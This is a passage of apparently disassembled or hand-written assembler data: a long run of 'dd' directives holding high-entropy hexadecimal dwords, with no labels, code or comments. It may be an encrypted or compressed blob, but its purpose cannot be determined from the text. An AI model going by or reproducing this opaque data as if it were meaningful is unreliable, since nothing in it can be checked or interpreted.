0E9B6B552h, 0D0BC6FF4h dd 0C75DCFDAh, 0F8A356C7h, 887B3AB2h, 81AD89D3h, 0A001F686h dd 0A1C1A46Fh, 0CC91AE51h, 1AEED373h, 2D3C348Eh, 13B5A4F8h dd 658BC886h, 0F6F39A92h, 0F839D3ACh, 0BD0F00C8h, 0EAC1FC3Ch dd 71814745h, 91185A3Ch, 0C87BD2FBh, 53DA1A64h, 602DE9C8h dd 0C934D15h, 353C3CD9h, 3364BF29h, 0ED18D328h, 3D653539h dd 177186A1h, 0CA2B0FDCh, 0F5287816h, 33AC18FAh, 0ABE5794Eh dd 0D3415105h, 0E8F70023h, 0D6D66458h, 0C9B6C8FCh, 0A4C703E1h dd 0A65EED99h, 0EAC7C26Ah dd 79E163DAh, 77E95346h, 60F1B627h, 1041991h, 84883E59h dd 6BB4CC3Eh, 0D57BF55h, 9C016047h, 0C780B39Dh, 32DFBFD0h dd 81129651h, 0CE35D412h, 859B0855h, 0C5E5862Dh, 498F296Fh dd 28B3021Ch, 0DB16E027h, 9D734941h, 0A505BAB8h, 7F84C6BAh dd 0AA7AD47Dh, 6F13E1F7h, 0C358E7ACh, 9F57F136h, 30CBB58Ch dd 5530D4A4h, 0E0AAE903h, 4A800A8h, 415A6AF9h, 1F79FBFBh dd 1A0F2DB8h, 3E94E77Ah, 1E09A142h, 47E25368h, 0A1BB87BDh dd 6DE06D0Ch, 0E05AAE56h, 236277B4h, 1B046731h, 0C25F8E9Bh dd 0E6B265BEh, 0B4604C84h, 0FC21C5CCh, 8817187Ah, 93BEBA0Bh dd 8F84DE2Fh, 8A68E4A0h, 0F2A1035Eh, 27F0B71h, 0CEEABECAh dd 0BBFA78Eh, 31088A4h, 0AAE05D56h, 0D36FB530h, 0DFC96D25h dd 47FB03E4h, 6CFC493Ch, 866AC14Ch, 1D07B11Bh, 0A955ED11h dd 11941600h, 0A6ABCB63h, 2A22771Ah, 30F59E2h, 0F231A913h dd 0C0233E2Eh, 4986046Fh, 0F7CA8FC2h, 5C94EF3Fh, 0EFE5B2D1h dd 5CF2F521h, 0C1ACDBE1h, 57CF6796h, 31FE90C6h, 8B562772h dd 0CB6395AFh, 94841501h, 1BC06A6Eh, 1168D62Fh, 0B5038B60h dd 7AFCC0C4h, 0C224C2F9h, 0B2EA01B6h, 0D26E3508h, 0B9B7C416h dd 6C02A3EFh, 0EC16E8C3h, 0A3345DFFh, 1FE8A6A8h, 2BAD8586h dd 92AF00F3h, 4F458C67h, 20F2EF89h, 28364047h, 0CF5B35EEh dd 11E89856h, 0D052BF3Ch, 0E3FF306Dh, 317DDF06h, 0FB1ADB07h dd 5CB9F8E1h, 99146200h, 9611DE51h, 404A0781h, 0CC3C3393h dd 0D38EC5Eh, 0B1A18EDDh, 0C55AC96h, 20F27E04h, 25066BC5h dd 2CFAC860h, 58E1D019h, 6AAFE2D3h, 6ECB080Fh, 3C9D0555h dd 67EC6508h, 0C3556181h, 0C29C9EA6h, 0F8919CC0h, 0B18D0A54h dd 0CB1B566Ch, 0D49583BBh, 0C21C3946h, 450E57E6h, 8E279269h dd 0FD22B348h, 66B3DBF4h, 64522E36h, 59120C70h, 78BD5945h dd 0BC89E5D6h, 0D05B5198h, 0AD9748A2h, 0EDF49C4Ch, 928C0BD7h dd 6B6CA93Ah, 3D10AE63h, 0F92FF8FFh, 0E878E56Ch, 0DE56CD04h dd 0B557DE50h, 898E45D6h, 0CDF23D0Bh, 0F5ACE7E4h, 7A96DD95h dd 0AA151120h, 0ED38F36Ch, 0A5CD9F62h, 0D71A2BFCh, 0DC0D7B85h dd 63FFF8ADh, 33CB6F8Eh, 0C6765706h, 0EA06C7A2h, 0A1A33413h dd 7611806Ah, 2F0BBA80h, 0CD525F59h, 844C28ACh, 47D3A3A3h dd 0FB541F31h, 67C76C5Ch, 0C200D3AFh, 17C85B84h, 558E332Eh dd 0EEE0B848h, 0F501C32Fh, 6E8BE981h, 3EE90D09h, 8AB68723h dd 7762527Ah, 0A45466Dh, 5291BA33h, 0EC4E4A49h, 0A7E66B6Ah dd 17390353h, 64C78CE5h, 0BE908AF0h, 0D09C81EEh, 0FFBC1557h dd 1D10179Bh, 0B098AFF1h, 3EDAF70Fh, 27A99548h, 54647DAEh dd 68C7D309h, 9C6FEB1Eh, 47695BB2h, 76740833h, 54E8E1DAh dd 43F9841Dh, 0CC260DCDh, 89E2788Bh, 0CF103061h, 0E8FBA138h dd 9CE785F9h, 0ACCA0262h, 15CAE67Dh, 470C395Ch, 0E82CF22Ch dd 0F1E7CA45h, 0BB1232F3h, 0D0A1ACB0h, 55E475D3h, 0E54AA1AEh dd 18BDD3FFh, 635629E4h, 6F2C5049h, 1A9888A3h, 13F24B93h dd 0CA22DC3Dh, 0A812F22Ah, 1CBF75AFh, 53150372h, 4E70CA0Fh dd 69B33796h, 524C4D82h, 30D00700h, 0D29D9F56h, 9F930DC5h dd 78E8EADh, 0D0D8E30Ah, 0DF4C59CBh, 0C9E5112Fh, 3E232765h dd 67D0F4F3h, 98ED33ABh, 919A8644h, 0DE5013F7h, 0BD248989h dd 9F6DFBB5h, 0BD631CC7h, 354FF40Ah, 14855BA5h, 0FBDCBAADh dd 3AD37696h, 0B44877Fh, 0E5128318h, 8C57BBEBh, 0D4A5173Fh dd 0A134466h, 88FFA439h, 92554FAFh, 69C9AACFh, 0FBED8A34h dd 0CFFC0EF8h, 0B3C283BFh, 61D2E61Eh, 0CF45DCD8h, 2CF369A9h dd 9E7B9DB3h, 0B9C4C3DAh, 14A6D7C1h, 0AD509638h, 0F24B4B92h dd 18DA0B14h, 797ECC42h, 0F5D9A90h, 0C2BBDA33h, 0E9086035h dd 1C814898h, 0BD7817B4h, 8AFAA092h, 6C3A1E88h, 6972DBDh dd 0BB31F6EEh, 16D8AB36h, 0D597D41Fh, 0E58D562Ah, 12ACAB27h dd 0FFC9F5CEh, 0CB53C8E5h, 0AC006CAAh, 2080F405h, 60B3D4B3h dd 5F0F1BF9h, 8BFD03DAh, 0B5506492h, 0F5692DAAh, 0FBBC7F97h dd 276419E3h, 8B00E4AFh, 0C7536943h, 42B3B6CEh, 0EAFC0928h dd 0AB4DF5Fh, 0EB3246B7h, 33EDBEA9h, 48770EADh, 8BA4E0E2h dd 7DBF4C93h, 22A8BF7Eh, 2E81B160h, 95CC352Ch, 11A64D19h dd 5AB57376h, 24D1D28Fh, 648CF1DFh, 0B12A91E4h, 9456196h dd 94FFA34Eh, 2DCB2F20h, 8C2F251Dh, 645B56B9h, 0C4710909h dd 0B741F1A1h, 0DDACE9D8h, 8DEA1F10h, 0A6CBFA64h, 0C3F58AD9h dd 0DF793F93h, 0ACED8409h, 0EE714803h, 475D63B8h, 23F27CDDh dd 0E715D363h, 0EB9167C8h, 39A35D95h, 0EF1A0DB5h, 0BBF066C5h dd 146B2E00h, 439BA020h, 3F737A1h, 0A7F0FD38h, 0A8820D8Bh dd 0C4FB3E7Fh, 531C541Eh, 0D24D9EC6h, 5F0D08AAh, 0C90701DDh dd 778FEAF3h, 0AFC5955Eh, 4B4D08CFh, 0DBC2C782h, 85829389h dd 59F04C33h, 70FE51C4h, 0BD75F376h, 80C7CB6Ah, 0C539DC4Eh dd 23D1F015h, 73E9564Ch, 563641E5h, 41BD974Bh, 36EA6454h dd 0EED1AF39h, 68316C03h, 0A0D6AC8Ch, 0CD729Bh, 29A679FEh dd 567FABD2h, 0D4FC2EA5h, 0F7AF5CC9h, 276D48AFh, 4D65C35Eh dd 0A6E39325h, 0EF5F3F92h, 0D370D410h, 0BDB0F948h, 62908DFDh dd 0B74E0AB1h, 5183D626h, 201157D4h, 7640C566h, 23C67660h dd 0C72A901Ah, 97DD1555h, 17F11CA5h, 5458F914h, 5695E4D0h dd 1AAFD560h, 1809FEF4h, 2C200E61h, 73D2BD45h, 40DB706h dd 66414E62h, 0E9C9B327h, 45EAEA86h, 8F74ED01h, 0A9435E89h dd 39546E1Dh, 0CEFA8AC0h, 61EBD531h, 32116BBCh, 6516FD7Ch dd 0DE6023F2h, 0CA4CD833h, 8A80B1FBh, 0D07EB173h, 4274C187h dd 26D44B22h, 78FE2FCBh, 0E5D04597h, 0F61348E5h, 0D8C74CB6h dd 304E2E72h, 0BD77E17Bh, 0DF7D7C77h, 0F9DF1DCAh, 42A17917h dd 8D99FC26h, 0E7F28BFh, 0F2C3E07Fh, 0F5ED4821h, 0B69D47CFh dd 0E9D21613h, 0A5665D7Ch, 285C5E0Eh, 0C72C88ADh, 3192ACC0h dd 800E7838h, 80C7AA04h, 2ADFF89Eh, 75E958FEh, 2BE9FD6Fh dd 721A05E0h, 0D47CACF7h, 0F33FF6BAh, 2FC7B9CFh, 0FB70BA51h dd 6F4E2E0h, 77D1900Eh, 29C0F6EFh, 0A9DFF1AFh, 0B67DEE7Ch dd 97D098DBh, 159F0C63h, 7E94F5BCh, 0BC57C95Ah, 0D769E930h dd 7626B3BAh, 4D624FF8h, 0A9D6C03Eh, 77CAA5F1h, 0A16AEE3Fh dd 29C4FDC5h, 0D9E01BEFh, 0CEC87304h, 17CA9084h, 0BB293B62h dd 33BA809Ch, 0CB0FB138h, 57D5BA2Ah, 6BEADC19h, 0DD53D566h dd 0AD9586ADh, 0C812D6D8h, 0C0853D20h, 0D309AA28h, 475C174Bh dd 7984EE28h, 3BFCF63Ah, 517C472Bh, 0CB494DD3h, 0F07D709Dh dd 0B52FB09Fh, 0D09209E9h, 0EF925AE6h, 0AA50607Ah, 650AA44h dd 2A88A269h, 5731823Bh, 247F0795h, 0E60EE969h, 0B53C6154h dd 0BA999171h, 0CA9B600Ah, 0CC845368h, 0DDADD352h, 81733B20h dd 0C10D128h, 4A929D91h, 16D75F62h, 16DE101Bh, 507AC105h dd 0DD18A4ACh, 0A6EAE985h, 2F879121h, 0EFB3821Dh, 0DDF00A9Ch dd 224B1E70h, 0F1DBAAEFh, 0BAE813C3h, 0FB3011EEh, 1BF7EBFAh dd 28CA1FC2h, 674118Ch, 3A660764h, 180DCBDDh, 754366B7h dd 9059F598h, 74573891h, 0A7D71101h, 0C57A7CCDh, 0E4D70E03h dd 0B6AAA1DBh, 281D3340h, 77D1D02Ch, 87AE6243h, 7149B9EDh dd 0BE8A3423h, 2C003F57h, 0F6F470ACh, 850ADE86h, 1E89E56Ah dd 0FC68C436h, 43355DD1h, 1D08829h, 428527E8h, 0E658E2C0h dd 0FBC4EC26h, 9799CD50h dd 15D4502Bh, 50B70EA7h, 2B6DD845h, 0E605518Dh, 0F217F427h dd 3F6C96ACh, 0F915594Fh, 0D1D11F2Ah, 0C77B069Eh, 0C76AA4B6h dd 0E2A82D30h, 65E975Eh, 0EDBA7538h, 0E7E70824h, 44C5CC0Fh dd 0D12BCDFCh, 5C592982h, 7BEDA213h, 0B852953Ch, 6219AC00h dd 782468Fh, 52A3A007h, 3D7FAE6h, 4432CEBDh, 4F84C363h dd 5BBA7C0Ch, 7F854438h, 0C4BCAD1Dh, 25A2F6C8h, 0D36AF997h dd 0CD6DCF62h, 57B0DB29h, 3E9477A4h, 0DF1A6D15h, 0D1EDB03Dh dd 0D48D2330h, 9E7B1C57h, 91D0BDF6h, 407CBF7Ah, 81672FC8h dd 4C89238Fh, 2E993303h, 0A94B500Eh, 0D93308B1h, 0A6A928DDh dd 90CBB53Ch, 0D5E38596h, 7D5606B3h, 0F694826Ah, 12A3ECCCh dd 4EA98FBBh, 0EB1BE9Bh, 1199F5FCh, 9835442Fh, 3AB55313h dd 586B23FFh, 27637DF0h, 0D9CF0F72h, 0FD361E86h, 0BE8CF483h dd 6B610D0Ah, 0FCBADC5Dh, 4E120EF8h, 638D66E2h, 0CE0BFA82h dd 4B94F84Ah, 2FD74EFAh, 0E95F02E8h, 0A09D7F91h, 0FF3F1AA9h dd 7FB55798h, 704DA760h, 34BCDAD5h, 3C615D4Dh, 2368BDEAh dd 7B3B6949h, 9D2F6301h, 244C64DFh, 0C3C28852h, 0CA5FA381h dd 10BC7F4Ch, 0E01461F3h, 18B09CE9h, 0AF011F0Ch, 232EA79h dd 9F296A3h, 887BD9C1h, 920FBE4Bh, 0B1460B7Eh, 6F888AE0h dd 48EC5162h, 29FE05A6h, 8A9BD7D8h, 0EF44D808h, 5247434Eh dd 2D36CA74h, 6803B525h, 0AB27B6EAh, 2F0063EEh, 0D5CA6445h dd 0A23A2122h, 0D26CC2B7h, 32C38B08h, 0CCD0866Eh, 0D7EBE84Ah dd 0F78CC29Fh, 0A952638Ah, 0D1589896h, 0FAA4169Ah, 38575B95h dd 0B3DBA40Ch, 77853D23h, 2A76EB27h, 2EE80D13h, 1938EFBCh dd 0B210FE4Ch, 8767CBD9h, 0A394F778h, 0BA6D0DB9h, 0DD551CC7h dd 0F5948EEBh, 7EA6A7ABh, 0A6C7BDF4h, 1932D493h, 0A0AC4C0Eh dd 96BFCC97h, 78224895h, 70FDAD81h, 2721C167h, 5551790Bh dd 213C6B06h, 79F017A3h, 34317FA9h, 72F7FD30h, 69D22D06h dd 805F1F1Bh, 27D0AA9h, 0B02F7E2Dh, 0CDAEE128h, 0FC49299Ch dd 5FF0EC0Eh, 8E659953h, 0F8C925B9h, 0DD121A03h, 0FB86B913h dd 0B40102CEh, 7C62D6A3h, 26A5867Ah, 49A4B8A8h, 0A65EE5D5h dd 0CEA4B241h, 0AF586498h, 41FCDC6Fh, 0D719C61Dh, 0CC6B49A2h dd 8578E885h, 0B786FD55h, 4DC5A6A9h, 0AD576A5Ch, 7C61D175h dd 0AA763417h, 0B0E20DE5h, 3AD19574h, 708C1452h, 0E03EE57Eh dd 1190880Eh, 666E6126h, 619D23A1h, 835DDDF3h, 0E9B8BC03h dd 8DF735F5h, 461E969Ah, 0E56A642Ah, 0A3B3154h, 165DEBE1h dd 3E4C964Eh, 538714EEh, 6DCEE52Ch, 0F8C4DDCDh, 0DECB52B5h dd 4641BA8h, 6539BE2Dh, 132F99FDh, 87BC4B6Bh, 2C527981h dd 5A0C7BEEh, 0B451936Ah, 80726AE6h, 0F7EEE3AFh, 0CD9B64F0h dd 7D8E748Ch, 4F81C1CFh, 9FC2A84Dh, 0B053669Ch, 4C803023h dd 4116A190h, 0DF5017BEh, 0CBB9C698h, 0B05E056Eh, 1F82F616h dd 47D901CBh, 4DD5EB69h, 34EB7163h, 0E410138Ch, 0D16DD50Bh dd 0EDA923C8h, 0C7E94CC0h, 0EDD6FCE9h, 575ED62Ch, 585D45E9h dd 763A6F72h, 0BF7631D8h, 59F2C087h, 40EA57E1h, 0B993F7D0h dd 3CDEAF66h, 9B3AD61h, 273A0CBh, 0A6095071h, 0F79A542Bh dd 0E1E641Fh, 0CA5B995Fh, 0CAAEE10Dh, 0A081D82Fh, 0FBE644C2h dd 3526AA0Bh, 0BC55BAEFh, 653178A3h, 37456C40h, 8848DA5Eh dd 0BA63AADAh, 0D64E1CA7h, 12EEF657h, 9A029F3Dh, 574CD083h dd 0FA39514Fh, 0D1280DACh, 172EE426h, 71419803h, 1D3B666Ch dd 62D9B6DCh, 0BD2292CAh, 0AB5F0375h, 75054126h, 6B3F880Ah dd 7413BD23h, 2604C0h, 0E19749BBh, 0B69E1964h, 0FCA2CC91h dd 47E01DE1h, 0F73A1A81h, 9E44E962h, 5ADFE171h, 0F3CB86D3h dd 86A9FB4Eh, 0D4C78788h, 0F5FE33D2h, 829155Eh, 0B26853FFh dd 0C45649E2h, 0E0D59E4Dh, 102EC5C1h, 3804D4FBh, 3AB14BF6h dd 0A8B10627h, 34163FBAh, 7C974A4Ah, 70AAA487h, 0D8061367h dd 456F7833h, 0B9881442h, 0E02B8CF8h, 9379B102h, 2EE6FF68h dd 90CC3252h, 7F5ECE11h, 0CE2CA03Eh, 5D9C8F7Ch, 0C5A96972h dd 8B9E8B01h, 13DB5526h, 9F3BB40Ch, 4BCA919Ch, 0C8E7CE6Ch dd 0FEA1F173h, 10CCBC94h, 54AE4433h, 0BB076066h, 5688D252h dd 34965A12h, 72306C45h, 410CEA1Ah, 4F203283h, 0C8469F98h dd 3B7B09E9h, 6224DCDh, 0B3030C20h, 0D62FCE1Fh, 9013A9BDh dd 0F6FAEECAh, 3DC5CA59h, 8AB7FDC1h, 0EACEB654h, 1E09DA4h dd 7AFEA467h, 0F67428A4h, 621E4076h, 0E5B8E517h, 0D0BB5B58h dd 7655FB4Eh, 850AC246h, 0A70D7D64h, 0AECBD56Eh, 0EEB3103Fh dd 62EB2C76h, 6931112Bh, 8FA3F45Ah, 5E71821Dh, 0B9F91C46h dd 589C4FFh, 71289D0Ch, 48564D97h, 1BB0D7A7h, 2E4CE65Ah dd 22AF041Dh, 0BA17AB67h, 199A119Eh, 5538DCC4h, 3E5460BCh dd 9D33B926h, 0DA475809h, 83A60830h, 90B90ED5h, 78B5FA31h dd 0B16799F3h, 86B703FAh, 0DC8C5002h, 52EC0E6Fh, 0CD2D87F1h dd 0D0EC350Ch, 9E39A069h, 0BC1761BCh, 0BCDC0D19h, 7777854Ah dd 5BFC901Ch, 2008679h, 0E685E30Dh, 5B1679ABh, 0BC02BA62h dd 0E3E3608Eh, 934BC5DAh, 537F09FEh, 0C01A706Ch, 0EAD03551h dd 3CD21BFFh, 0CC0CDF74h, 0E9D1834Ch, 0EB222DEFh, 18EB36CFh dd 0BE91F29Ah, 0EC878E35h, 0F6255B5h, 0DD653540h, 0C60B835h dd 8112108Bh, 109F7EAAh, 5C1BFF01h, 0CD72545Dh, 64F02328h dd 1F0C5473h, 99F12A2h, 1CE1C395h, 0C019D352h, 0EAFED295h dd 2C7602Eh, 0A39C1250h, 0B666D8A7h, 2B2194Ah, 70416375h dd 0C3256044h, 52155F7Eh, 1BA28007h, 7A7EFD6Fh, 125D2A3Fh dd 986DE0A2h, 343ED69Ch, 0E6B45FBh, 7A3365CEh, 0C3137FFBh dd 0F08D270Ch, 76BA266Fh, 6CDD39Bh, 0F9EFCB77h, 491E8B50h dd 4F8D46A8h, 1EDE1A18h, 0CA6D05F0h, 0C0FFCD51h, 0FC452989h dd 0D648CFDFh, 4773F131h, 2B6F9341h, 3AEF5B86h, 3CCF5BD6h dd 5FD74548h, 0D6D5CC67h, 71E4F55Ah, 1A1E11C2h, 9A396B74h dd 9881B5EBh, 0DF67F9BBh, 2048E516h, 808AA73Bh, 0B06CDCDEh dd 5076D13Eh, 3BED7926h, 0E79F2AD0h, 91A0C71Dh, 0DF960136h dd 1C4B78EFh, 6DD9525Eh, 0B43523BAh, 9FDB9F39h, 325E593Dh dd 0D7411334h, 0D6A3310Ah, 6C0FD1FBh, 7E187FFCh, 0C8078232h dd 5DD9BC3Ah, 0B5AA085Ch, 593EA98Dh, 0D82E3B11h, 338777C5h dd 6BB81116h, 0EA8F080Bh, 715844E6h, 0A4D5462Ch, 5161643Fh dd 121D74AFh, 0F759816Ch, 1647B521h, 79E97A57h, 6BFD9ED9h dd 0B31871B1h, 79129D08h, 20D2E7EFh, 7B944B1Ch, 701A8F5Ch dd 7E6C7FE3h, 2C92E6A1h, 6DAAAE3Ah, 44F83C7Eh, 0ED1A1DE7h dd 0BE3B5ABBh, 0CE1F53C7h, 48CCB6A8h, 781B51F3h, 0BBAE60DBh dd 70C3891Ah, 7BA682F9h, 3A863D8Eh, 0EAF7801Ah, 9B1CA5F3h dd 876D84AAh, 27FDFAEBh, 0E578A765h, 0B9A62AFBh, 0BA84C29Fh dd 1876DDE1h, 94BE1972h, 0F7621B17h, 8FFB4E6Ah, 29860A89h dd 1C5F830Ch, 42CA8BB3h, 53A2A2DDh, 0FF8F57A1h, 0F15D12E2h dd 0AF809ACFh, 1F24A273h, 57B1EF2h, 7460557Ah, 0DC764496h dd 65513607h, 62B25D47h, 40306E4Bh, 0BCA4DAABh, 7D037824h dd 0D5BD86E7h, 1142B9A9h, 0D673AB7Dh, 4DBDED15h, 84DDE1CFh dd 0DF6651ABh, 0BAD52A3Fh, 0F17FD1Dh, 0EE36FCD4h, 0EB98ED66h dd 2E341CA6h, 0D7B6E9F4h, 0C4094FDAh, 1DD7F5DAh, 0F8808A6Ah dd 6F13EE07h, 44995498h, 25CE70B1h, 6E5B9EE5h, 0BE81CC32h dd 0D5B29A95h, 1CE6CA9Fh dd 0D610BE00h, 0A450E1B7h, 23DB275Ch, 231C0D3Bh, 28F17EC5h dd 0CA8292ABh, 0C2E781CCh, 0FA8BD786h, 0AE1265E2h, 0F1FA7E26h dd 0D5DBF0B6h, 0C4AB2852h, 2C4A3046h, 5EFEC0E6h, 0E90E1018h dd 0A7FCDA6Dh, 0A7C19FB2h, 3D89DE2Ch, 6BF983Dh, 7E7CCED7h dd 37995B72h, 4EC53B2Dh, 9FC194A8h, 3616583Bh, 82200D64h dd 5BB0A72Dh, 0D2172B3Dh, 0AEBFD46Ch, 0E87D6A57h, 9ECA74Dh dd 958E31B6h, 47B03121h, 0E740AF5Fh, 0C49B291Ah, 0BCC5FD20h dd 86B8D356h, 0D87F9590h, 0A7A0FF20h, 9F69500h, 0AD424730h dd 0B1ED5E92h, 0EE1E9840h, 52DEF57Eh, 72BA21CFh, 758053h dd 858E7917h, 0BDDC337Eh, 472971FDh, 6D5B03E7h, 0E5651731h dd 0CB590319h, 0F331E43Ah, 260890AAh, 11816B20h, 1B59391h dd 0C97AE2DBh, 0C1F99881h, 5A25FBD4h, 74E618F8h, 80A4AF10h dd 7E842147h, 0B164A8AAh, 5A36B692h, 18A4DC2Ch, 0AE6293FFh dd 79DF832Dh, 0D8235261h, 61705561h, 0CD83D07Fh, 0BFD4598Bh dd 0FA689B63h, 0CFCFF66Fh, 31E0E99Ah, 4282F751h, 6D106F04h dd 0F1332B47h, 0E748064Bh, 0AEFE83E0h, 0A0C00E80h, 5F482214h dd 0DDBEBF2Bh, 1AD8CDA5h, 3F87E938h, 9E2A800Eh, 0C628FDF2h dd 80AC362Eh, 0F64396C1h, 0BD6CFF62h, 689EF0E3h, 0F1BBE075h dd 0FD78502Bh, 7578F7FBh, 6C528399h, 717A726Fh, 60D6CD9Eh dd 0A8029E58h, 0E193B4B1h, 0ED9F52F6h, 559ADC30h, 6E222981h dd 0A8269C2Fh, 6CAD6580h, 1F0371A1h, 7E14C6F9h, 2E2AB6Bh dd 0AAA7C218h, 0F8F083C8h, 3564B350h, 90599A6h, 5B92EB93h dd 6ADF4DE0h, 7E54458Eh, 0E7F75E2Dh, 0D7976BF7h, 1DA3BFADh dd 1F2A8BA8h, 0D4EC1353h, 0A3E6D78Ch, 23E43804h, 18943323h dd 56630176h, 7CEF18D5h, 969CD3A6h, 0BD550F06h, 87721E70h dd 2ADD9A31h, 4A9AFD48h, 28A951DBh, 0BEE8B02Fh, 24B796CFh dd 5D900C67h, 0AB0B3541h, 3F8297B7h, 8BC5E38Ch, 3EC0CB41h dd 5AF55D84h, 61271208h, 0E63C7595h, 89F44F67h, 0ACB68F2Bh dd 4984FF00h, 0C7A88DC9h, 0E0FEBB7Ch, 85992087h, 0FCAA9E45h dd 7F2399A2h, 5DF3E726h, 606C422Ah, 34308186h, 1420E5AAh dd 50F16B68h, 0B68A6109h, 0E094CBF8h, 0C66B69A9h, 90B6CEACh dd 7523B30Ch, 4A88C6C5h, 6B32DA5Fh, 0AC8FA172h, 91438DADh dd 0EC5BA90Ch, 728714E5h, 53668918h, 2B22954Ah, 38022905h dd 0EF52F563h, 3702F17h, 0DB474392h, 0A969172Ch, 412AF29Fh dd 1719021Ah, 0E1A616C2h, 26746BEEh, 5F1212F1h, 487D92Ah dd 9A907785h, 0AFB1DED2h, 0DDE21EFEh, 0CBE09FD0h, 0CBC7FE04h dd 8B01FA59h, 36EDBD2Ch, 0F062F227h, 0B9BEF273h, 0BF3A49D9h dd 89F9E145h, 7FB4BB1Bh, 2528573h, 942F7C27h, 38E0DAF6h dd 0D3AA8297h, 0A9EC3B1Dh, 0EE539A63h, 3A1AD2E3h, 0E7FABB7h dd 3E8D0856h, 0EE2F942Ah, 0C0BBF336h, 7CD44C95h, 5109CEFAh dd 4E428A6Fh, 8E1A291Dh, 0ED1120ABh, 809941B8h, 903E18D7h dd 187B18E1h, 0ED8FDFC4h, 6A49BE8h, 9DB2C242h, 2C0E6AF6h dd 0F4A2F7DCh, 0CF5340F6h, 0FE9E18AAh, 6061CBEEh, 202D7451h dd 26A5C972h, 8E00B02Dh, 0A369EF1Dh, 40746769h, 221648FDh dd 0B4CA3ADDh, 8F14BDB5h, 66E2EEEEh, 0A34D7865h, 91263D01h dd 4CD296AEh, 2862008h, 7A67999Fh, 36D15EF2h, 0D6544952h dd 2345E74Bh, 1D9F976h, 0A52C3045h, 9E5C74B5h, 3357A087h dd 0CECFAC7Eh, 79B3C6C6h, 1BCF962Ch, 16A35D18h, 9E329ABFh dd 0EDA09376h, 42E4CEB5h, 0B90FC00Fh, 23F16EAh, 8EF5859h dd 0ECD02D4Eh, 1397B563h, 0B7EE9478h, 25F89E0Ah, 89D9809Eh dd 739971E9h, 0AFCFF15Fh, 67C22623h, 21BE5E41h, 621D73E0h dd 23387444h, 7621BDA3h, 0EA810E62h, 0B308C037h, 9A66220Fh dd 0E7F5ACBEh, 2F3BF604h, 67D3813Ch, 0C704411Bh, 35F31A98h dd 5D07875Bh, 19C4AA3Bh, 0AF8DEF59h, 0FFD32CDBh, 77F110C7h dd 9C5C5450h, 0E20C07DCh, 4E07DECEh, 367D223Fh, 0CC572F1Ch dd 5F0E7756h, 73EE7727h, 6D94802Bh, 9CCF553Bh, 0FD70FEC7h dd 5FE34663h, 0AAF8EB1Ch, 0E682DE22h, 0EAB627C8h, 43F9F626h dd 78754BFCh, 9077391Ch, 7BEE3B73h, 85C1B805h, 0C4B2E081h dd 0D25E9FFFh, 11010256h, 0CBABDE7Bh, 2CA8FC4Ch, 7E68AA15h dd 0CC84B25h, 50B964A3h, 0DD52BBB3h, 453E6802h, 8CEE18E1h dd 0D1D1DEDCh, 4045F021h, 9722D2B4h, 0D8DDCDC9h, 2FBA6DC1h dd 0E2494601h, 0AA31FAE3h, 0FAA03422h, 849241CAh, 0E93296A5h dd 28B7FE65h, 3AE02954h, 43FD4E0Ah, 5BF5AC5h, 2FABE5F9h dd 21B81BBAh, 0A2DED91h, 38FD5E93h, 444F4910h, 34DCED10h dd 0B754ED74h, 3D0F6BEFh, 33B63BCAh, 638E8302h, 0C4C5A0D4h dd 0C55C09B2h, 2DC230AEh, 0F4462BBFh, 0BA27FCF4h, 964D4001h dd 5FE72BEFh, 0B509FCE1h, 248D53C5h, 3413EEC8h, 92DF929Eh dd 0C2BEFC5h, 2303D931h, 0DD8AD38Ch, 601674A1h, 43ADD0FFh dd 0C6B57EA8h, 0EFD4429h, 0E1585315h, 0EECC32CCh, 0CA9754E6h dd 81E21452h, 5BE26ED9h, 7B26B5CCh, 4B34E0D7h, 96394D6h dd 0F9039430h, 1518538h, 9161134Ch, 0D64DADD3h, 881D7DCDh dd 0B23DA5B3h, 809156D4h, 0E3A6671Ah, 0B3616961h, 80FA4B1Ah dd 974B5422h, 7B4D6596h, 0C9CCF949h, 19F3C0B5h, 0DF6F0B14h dd 0E642181Ch, 5F91987Dh, 552D5E94h, 0FD94B80Eh, 2A0EDA36h dd 53D6F372h, 73F6987Ah, 6AB0785Eh, 260F09F0h, 5EE71088h dd 2F9FD40Ah, 0EB88602Eh, 480D9D8Eh, 8060DC5Fh, 61C6962h dd 94350C1Ch, 9B294969h, 69306826h, 904DDD1Dh, 0ECFB72E6h dd 61E5147h, 1EDAA779h, 85C133B9h, 5D473519h, 7E989A4Eh dd 0B2CE446Ah, 0DEC0187Bh, 0BFBDD40Ah, 0A2AFB65Ch, 596B28Eh dd 843D1664h, 0A99364C8h, 86D945AEh, 8BBDCE1Ah, 0EFE1A2B0h dd 7B997F4Fh, 98DDBFACh, 65EFB281h, 6FB07F88h, 0C44E83F3h dd 46DDA99Bh, 7DE94238h, 0AA6FCDA5h, 0B63D9B70h, 0FB141553h dd 0B1B287A9h, 0B68F8D25h, 0DD9C08E6h, 2DDD7E8h, 0CF22C8EFh dd 2390610Bh, 0ECEBF79Eh, 99C5727Bh, 2033189Fh, 462B7C7Ch dd 0EB4D60D1h, 78D0B89h, 82C1BCD8h, 0DF4CE4C6h, 0DB3476A7h dd 16992B5Bh, 0BE25487Dh, 14F99494h, 1047B9FAh, 1E8EE2D6h dd 23DCF988h, 42224498h, 812B6AFDh, 0E497C0DFh, 0D2330AA7h dd 939878EDh, 7A41C958h, 0C998C5C7h, 1807A356h, 77F8C99Eh dd 0B35DD9B6h, 975B65EAh, 60473C41h, 7D61E6F3h, 6B7640F0h dd 0C295C97Dh, 0FE699DBEh, 26BE05B8h, 0F50BBA1Dh, 1C7E053Eh dd 0E87FFE44h, 8E88CEF3h, 57D33FAh, 93D41B1Eh, 28F62367h dd 0DE662481h, 0F89A3418h, 0C3777038h, 0D8F4E6EDh, 85287887h dd 55DD70B4h, 56D634CBh, 0ED68F4DDh, 0DBB5DC07h, 0E47CDF8Bh dd 5182B571h, 420ABC87h, 4DF0848h, 29A8EF0Eh, 0DD131472h dd 0FE25C196h, 0A7DB8F9Ch, 5F2E087Ah, 0A1E7CF93h, 0B5E96B2h dd 514DE386h, 9E365F81h, 0BA919684h, 0EE6E2304h, 9DD5C3C6h dd 4F3476D9h, 0CE31D69Ch, 0FEC5A452h, 25ECF43Bh, 0D28809BAh dd 2052E1FBh, 0C87EE496h, 5E3ED8BDh, 0C507AB59h, 65388BC6h dd 5207C1E0h, 56D7EFB7h, 0ECA6B84Ah, 0F941F856h, 1BC90DECh dd 9457C1FDh, 94BF5D8Dh, 9076B2AEh, 3BB3C1h, 9263561h dd 12617B52h, 77AF25FFh, 2C75345h, 0EEA92811h, 0F356CE39h dd 1069D680h, 4B41863h, 94598F17h, 0B305D33Dh, 0A9669AE4h dd 